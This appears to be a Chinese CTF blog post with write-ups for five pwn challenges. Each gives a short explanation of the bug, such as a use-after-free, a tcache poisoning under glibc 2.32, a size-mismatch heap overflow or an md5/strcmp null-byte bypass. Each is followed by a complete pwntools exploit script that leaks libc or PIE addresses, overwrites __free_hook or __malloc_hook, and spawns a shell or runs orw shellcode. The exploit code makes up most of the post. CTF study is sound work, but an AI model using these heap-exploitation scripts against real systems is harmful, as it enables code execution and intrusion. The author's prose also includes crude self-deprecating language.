Niyah

近期Pwn题

太菜了

# White_Give_Flag

VNctf 的一道题目,名字是什么白给 flag 却没做出来,是个增删改都有的堆题

程序在初始化时会调用 malloc 随机分配内存,之后用 read 写到某一堆块的用户区域 + 0x10 的地方,至于为什么 + 0x10,是为了不让 bin 的 fd 和 bk 覆盖掉 flag

之后释放掉这个堆块,我们再次申请就有可能申请到这个堆块,那么我们再填上 0x10 字节的垃圾数据就可以打印出 flag,爆破即可

img

至于怎么打印出 flag,程序中没有直接的输出函数,这里有一个奇怪的地方,通过 read 的返回值执行操作,会 puts 如下图的数组,而 read 返回 0 的会就会产生越界,这个数组上方刚好是储存了堆块的指针,我们可以通过 read 返回 0 来打印出 flag

img

read 函数的返回值为成功输入的字符数量,失败则返回 0,可以使用 pwntools 让 read 函数返回 0

Exp 如下

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './White_Give_Flag'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = 'node4.buuoj.cn'
    port = '39123'
    p = remote(host,port)
l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda            : int( p.recv(14)[2:] , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(
        ['one_gadget','--raw', '-f',filename]
    )).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla(':',num)

def add(size):
    cmd("")
    sla("size:",size)

def edit(id,text):
    cmd("aaa")
    sla("index:",id)
    sa("Content:",text)

def to_pwn():

    for i in range(3):
        add(0x10)
    add(0x310)
    edit(3,"b"*0x10)
    ru('choice:')
    p.shutdown_raw('send')
    data = p.recvline()
    print(data)
    #pause()
    if "vnctf" in data:
        exit(0)
    p.close()


while 1 :
    #p = process(binary)
    p = remote(host,port)
    to_pwn()


'''
@File    :   White_Give_Flag.py
@Time    :   2021/08/04 16:51:07
@Author  :   Niyah 
'''

# ff

这题属于是明牌,让你在两次 edit,一次 show 的情况下做一道 2.32 的 uaf 题目 ex 的地方在于只能对最近的堆块操作

一次 show 的给 heap 地址,两次 edit 一次给 double free 之间的清空 tcache fd,一次给修改 tcache 的 fd 即指向的下一个堆块为 tcache 管理块

本题的中心思想是控制 tcache 管理块,通过合并成大块 free 掉构造出含有 libc 地址的 entry,覆盖低位爆破申请到 stdout 泄露出 libc 地址

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './ff'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-arm', binary])
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = 'node4.buuoj.cn'
    port = '26589'
    p = remote(host,port)
l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda            : int( p.recv(14)[2:] , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(
        ['one_gadget','--raw', '-f',filename]
    )).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla('>>',num)

def add(size,text):
    cmd(1)
    sla("Size:",size)
    sa("Content:",text)

def delete():
    cmd(2)

def show():
    cmd(3)

def edit(text):
    cmd(5)
    sa("Content:",text)

one_gad = one_gadget(libc.path)

#2.32 tcache fd指针与tcache管理块做过异或处理
def to_pwn():
    add(0x78,"a")
    add(0x38,"a")
    delete()

    add(0x18,"a")
    delete()

    add(0x68,"a")
    add(0x68,"a")
    delete()

    add(0x58,"a")
    delete()

    add(0x78,"a")
    delete()
    show()

    heap_addr = u64(p.recv(8)) 
    heap_base = heap_addr << 12
    lg("heap_addr",heap_addr)

    edit("x"*0x10)
    delete()

    edit(p64((heap_base + 0x90) ^ heap_addr )+p64(heap_addr+0x10))

    add(0x78,"A")


    payload = p64(heap_base + 0xa0) + p64(0x200 + 0x80 + 0x40  + 0x70 + 0x20 + 0x70  + 0x60+ 1) +  p64(heap_base + 0xa0) *8
    add(0x78, payload )

    add(0x10,"h")
    delete()

    payload =  p16(0x96c0)

    add(0x70,payload)

    payload = p64(0xfbad1800)+p64(0)*3+"\x00"
    add(0x38,payload)
    leak_addr = l64()
    if leak_addr == 0:
        exit(1)
    lg("leak_addr",leak_addr)

    _IO_2_1_stdout_ = leak_addr - 132
    libc.address = _IO_2_1_stdout_ - libc.sym["_IO_2_1_stdout_"]
    free_hook = libc.sym["__free_hook"]
    system = libc.sym["system"]

    payload = p64(0)*2 + p64(free_hook) *4
    add(0x58,payload)
    add(0x68,p64(system))

    add(0x10,"/bin/sh\x00")
    delete()

    p.interactive()


while 1 :
    try:
        to_pwn()
    except:
        p.close()
        #p = process(binary)
        p = remote(host,port)



'''
@File    :   ff.py
@Time    :   2021/08/09 09:08:14
@Author  :   Niyah 
'''

# Easyheap

安恒八月赛,我太菜了

img

漏洞在于输入的 size 和调用 malloc 函数时的 size 不匹配,edit 时是看的输入的 size,知道这个就随便做了,为什么在比赛时候注意到了却没有深究啊,铸币吧,知道底层利用原理,却找不出表层漏洞那有个寄吧用啊

开了个 b 沙箱,开了一个 rwx 的内存,直接往上面写 orw 的 shellcode,之后将这个地址写到随便一个 hook 上

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './Easyheap'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = 'node4.buuoj.cn'
    port = '25511'
    p = remote(host,port)
l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda            : int( p.recv(14)[2:] , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(
        ['one_gadget','--raw', '-f',filename]
    )).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla('>> :',num)

def add(size,content):
    cmd(1)
    sla("Size",size)
    sa("Content:",content)

def delete(id):
    cmd(2)
    sla("Index:",id)

def show(id):
    cmd(3)
    sla("Index:",id)

def edit(id,content):
    cmd(4)
    sla("Index:",id)
    sa("Content:",content)

one_gad = one_gadget(libc.path)

add(0x500,"a")

add(0x300,"a"*0x300)
add(0x230,"a"*0x230)

add(0x80,"a")

payload = "a"*0x10 + p64(0) + p64(0x310 + 0x240 + 1)

edit(0,payload)
delete(1)
add(0x300,"a"*0x300)

show(2)

__malloc_hook = l64() - 0x70
lg("__malloc_hook",__malloc_hook)

libc.address = __malloc_hook - libc.sym["__malloc_hook"]
__free_hook = libc.sym["__free_hook"]

rwx = 0x23330000

orw = shellcraft.open("/flag")
orw += shellcraft.read( 3, rwx+0x500 ,100 )
orw += shellcraft.write( 1, rwx+0x500 ,100 )
orw = asm(orw)


add(0x100,"a")
add(0x100,"a"*0x100)
add(0x100,"a"*0x100)

delete(6)
delete(5)

payload = "a"*0x10 + p64(0) + p64(0x111) + p64(rwx)
edit(4,payload)

add(0x100,"a"*0x100)
print(orw)
add(0x100,"a"*0x100)
edit(6,orw.ljust(0x100,"\x00"))

add(0x18,"a")
add(0x18,"a")

delete(8)
delete(7)

payload = "a"*0x10 + p64(0) + p64(0x21) + p64(__free_hook)
edit(3,payload)

add(0x18 , "a"*0x8)
add(0x18 , "a"*0x8)

edit(8,p64(rwx))

delete(5)

p.interactive()


'''
@File    :   Easyheap.py
@Time    :   2021/07/31 11:19:05
@Author  :   Niyah 
'''

# realNoOutput

这题有个隐藏的 uaf

img

buf 这个栈上变量储存了指针,操作后没有清 0,下次绕过检查即可不更新 buf。

ptr_list,size_list 大小只有 8 但却可以操作到 9,size_list 刚好在 ptr_list 上方,size_list [9] = ptr_list [1],size_list [8] = ptr_list [0], 我们可以通过数组越界将 ptr_list [1], ptr_list [0] 改成较小的值从而绕过下面检查不更新 buf

image-20210808163204269

知道这点后就很简单了

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './realNoOutput'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = 'node4.buuoj.cn'
    port = '25921'
    p = remote(host,port)
l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda            : int( p.recv(14)[2:] , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(
        ['one_gadget','--raw', '-f',filename]
    )).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sl(str(num))

def add(id,size,text):
    cmd(1)
    sl(str(id))
    sl(str(size))
    se(text)
    sleep(0.2)

def delete(id):
    cmd(2)
    sl(str(id))
    sleep(0.2)

def edit(id,text):
    cmd(3)
    sl(str(id))
    se(text)
    sleep(0.2)

def show(index):
    cmd(4)
    sl(str(index))
    sleep(0.2)

one_gad = one_gadget(libc.path)

#本题没有将栈上保存的变量操作后清0,而是在下一次操作时更新,更新失败时导致uaf

add(0,0x80,"a"*0x80)
add(1,0x80,"a"*0x80)

delete(0) #此时栈上保存了该地址

for i in range(6):
    add(8,0xd0,"a")  #此时ptr_list[0]=0xd0
    edit(0,"a"*0x10) #ptr_list[1]=0xd0 判断失败不更新指针
    delete(0) #ptr_list[1]=0xd0 判断失败不更新指针
#填满tcache

delete(1)
add(9, 0xc0, "a") #此时ptr_list[1]=0xc0
show(1) #ptr_list[1]=0xc0 判断失败不更新指针

__malloc_hook = l64() - 224 - 0x10
lg("__malloc_hook",__malloc_hook)

libc.address = __malloc_hook - libc.sym["__malloc_hook"]
ogg = one_gad[1] + libc.address

add(0, 0x80, p64(__malloc_hook)) #常规tcache循环指针利用
add(0, 0x80, "a")
add(0, 0x80, p64(ogg))


p.interactive()

'''
@File    :   realNoOutput.py
@Time    :   2021/08/01 09:19:35
@Author  :   Niyah 
'''

# canary3

又是一道跟 md5 沾点的题目,阅读下面代码可以知道 s 存放了我们要输入的值,s2 存放了要比对的 md5 值,其中如果我们输入的值长度刚好为 0x20 的话将会将 s2 的值覆盖为 \x00 开头,我们知道 strcmp 是会被 \x00 截断的,此时只需要让我们输入的值的 md5 也为 \x00 开头,这样就可以绕过检查。

image-20210809161517002

网上偷了个脚本

import os
import hashlib


while True:
    md5 = hashlib.md5()
    key = os.urandom(0x20)
    md5.update(key)
    res = md5.hexdigest()
    if res[:2] == "00":
        print("find: ", res, key) 
        break

由于程序自带后门,那么接下来考虑的是如何泄露基地址 (程序开了 pie),通过动态调试可以发现在用户的输入下面刚好存放了带有程序基地址的地方,我们覆盖其上面就可以将它带出来,canary 同理,之后哦 ret2text

img

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './canary3'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = 'node4.buuoj.cn'
    port = '25498'
    p = remote(host,port)
l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda            : int( p.recv(14)[2:] , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(
        ['one_gadget','--raw', '-f',filename]
    )).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla('3.exit',num)

one_gad = one_gadget(libc.path)

#本题可以将MD5前一个字节覆盖成\x00而绕过检查,同时也需要将输入的md5值前一个字节为\x00

sla("username:","admin\x00")

payload = "gB".ljust(0x20,"\x00")
#md5之后可以以00开头

sa("password:",payload)


#注意到栈上保存了程序text段的地址
cmd(2)
payload = "a"*0x7 + "b"
sa("input:",payload)

cmd(1)

ru("aaab")
pie_addr = u64(p.recv(6).ljust(8,'\x00')) - 0xa20

lg("pie_addr",pie_addr)


cmd(2)
payload = "a"*0x18 + "b"
sa("input:",payload)

cmd(1)
ru("aaab")
canary = u64(p.recv(7).rjust(8,'\x00'))

lg("canary",canary)

backdoor = pie_addr + 0x00000000000239F
cmd(2)
payload = "a"*0x18 + p64(canary) + "a"*0x8 + p64(backdoor)
sa("input:",payload)
cmd(3)


p.interactive()

'''
@File    :   canary3.py
@Time    :   2021/08/05 10:39:49
@Author  :   Niyah 
'''

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。